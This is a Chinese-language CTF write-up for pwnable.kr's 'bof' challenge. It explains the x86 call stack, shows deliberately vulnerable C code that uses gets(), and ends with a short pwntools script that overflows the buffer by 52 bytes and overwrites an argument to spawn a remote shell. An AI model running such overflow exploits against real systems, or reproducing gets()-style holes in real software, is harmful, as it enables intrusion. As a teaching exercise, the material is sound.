这道题是一个简单的缓冲器溢出的题,首先要做这道题要对函数调用栈有一定的了解。
函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等。称之为“栈”是因为发生函数调用时,调用函数(caller)
的状态被保存在栈内,被调用函数(callee)
的状态被压入调用栈的栈顶;在函数调用结束时,栈顶的函数(callee)
状态被弹出,栈顶恢复到调用函数(caller)
的状态。函数调用栈在内存中从高地址向低地址
生长,所以栈顶对应的内存地址在压栈时变小,退栈时变大。
函数状态主要涉及三个寄存器--esp
,ebp
,eip
。esp
用来存储函数调用栈的栈顶地址,在压栈和退栈时发生变化。ebp
用来存储当前函数状态的基地址,在函数运行时不变,可以用来索引确定函数参数或局部变量的位置。eip
用来存储即将执行的程序指令的地址,cpu
依照eip
的存储内容读取指令并执行,eip
随之指向相邻的下一条指令,如此反复,程序就得以连续执行指令。
下面让我们来看看发生函数调用时,栈顶函数状态以及上述寄存器的变化。变化的核心任务是将调用函数(caller)
的状态保存起来,同时创建被调用函数(callee)
的状态。
首先将被调用函数(callee)
的参数按照逆序依次压入栈内。如果被调用函数(callee)
不需要参数,则没有这一步骤。这些参数仍会保存在调用函数(caller)
的函数状态内,之后压入栈内的数据都会作为被调用函数(callee)
的函数状态来保存。
将被调用函数的参数压入栈内,然后将调用函数(caller)
进行调用之后的下一条指令地址作为返回地址压入栈内。这样调用函数(caller)
的 eip(指令)
信息得以保存。
将被调用函数的返回地址压入栈内,再将当前的ebp
寄存器的值(也就是调用函数的基地址)压入栈内,并将ebp
寄存器的值更新为当前栈顶的地址。这样调用函数(caller)
的 ebp(基地址)
信息得以保存。同时,ebp
被更新为被调用函数(callee)
的基地址(图中红色的EBP
)。
将调用函数的基地址(ebp)
压入栈内,并将当前栈顶地址传到 ebp
寄存器内,再之后是将被调用函数(callee)
的局部变量等数据压入栈内。
在压栈的过程中,esp
寄存器的值不断减小(对应于栈从内存高地址向低地址生长)。压入栈内的数据包括调用参数
、返回地址
、调用函数的基地址
,以及局部变量
,其中调用参数以外的数据共同构成了被调用函数(callee)的状态
。在发生调用时,程序还会将被调用函数(callee)
的指令地址存到eip
寄存器内,这样程序就可以依次执行被调用函数的指令了。
看过了函数调用发生时的情况,就不难理解函数调用结束时的变化。变化的核心任务是丢弃被调用函数(callee)
的状态,并将栈顶恢复为调用函数(caller)
的状态。
首先被调用函数的局部变量会从栈内直接弹出,栈顶会指向被调用函数(callee)
的基地址。
然后将基地址内存储的调用函数(caller)
的基地址从栈内弹出,并存到ebp
寄存器内。这样调用函数(caller)
的 ebp(基地址)
信息得以恢复。此时栈顶会指向返回地址。
再将返回地址从栈内弹出,并存到eip
寄存器内。这样调用函数(caller)
的eip(指令)
信息得以恢复。
至此调用函数(caller)
的函数状态就全部恢复了,之后就是继续执行调用函数的指令了。
理解了原理之后,就可以看这道题了,首先看一下源码
#include
#include
#include
void func(int key){
char overflowme[32];
printf("overflow me : ");
gets(overflowme); // smash me!
if(key == 0xcafebabe){
system("/bin/sh");
}
else{
printf("Nah..\n");
}
}
int main(int argc, char* argv[]){
func(0xdeadbeef);
return 0;
}
定义了一个func()
函数,里面有一个32字节大小的buffer
, 然后调用了gets()
函数。注意这个gets()
函数,这个函数是有漏洞。
gets()
从标准输入设备读字符串函数,其可以无限读取,不会判断上限,所以会造成溢出。他以回车结束读取,直至接受到换行符
或EOF
时停止,并将读取的结果存放在buffer指针
所指向的字符数组中。换行符不作为读取串的内容,读取的换行符被转换为‘\0’
空字符,并由此来结束字符串。
然后往下看,有一个判断语句,如果传进来的参数key
的值等于0xcafebabe
,那么返回一个shell
,可以传进去的参数人家已经给出了,是0xdeadbeef
,不是0xcafebabe
,这怎么办?这就要用到gets()
函数和我们上面介绍的函数调用栈的知识了。
他虽然定义了一个32字节
大小的buffer
,但是由于gets()函数,我们可以往里面写入超过32字节
的内容,从上面的图中可以看到,func()
函数局部变量等数据下面就是main()
函数EBP
的值,再往下是保存的返回地址,也就是main函数
的EIP
的值,再往下就是func()函数
的参数了,所以我们只要把数据覆盖掉,将参数覆盖成0xcafebabe
就可以了,如图所示。
具体要怎么做呢,这里我们用pwndbg调试,进入func函数,单步到gets函数
的位置,arg[0]给出了s的地址。
如图,我们用EBP的值
(0xffffd6f8)-s的地址
(0xffffd6cc)=2c=44
,然后我们加上4字节的EBP
和4字节的EIP
,得到52字节,52字节以后的位置就是func()函数的参数key的位置了。写个小脚本跑一下。
from pwn import *
key = p32(0xcafebabe) #打包成32位,小端模式
c = remote("pwnable.kr", 9000)
c.sendline('A' * 52 + key)
c.interactive()
开启shell
后,就可以获取flag了,由于网速的原因,可能反应有点慢。
上面函数栈调用的内容来自于知乎Jwizard, 题目思路可以看一下DeeLMind的视频讲解,请叫我勤劳的搬运工 0.0 。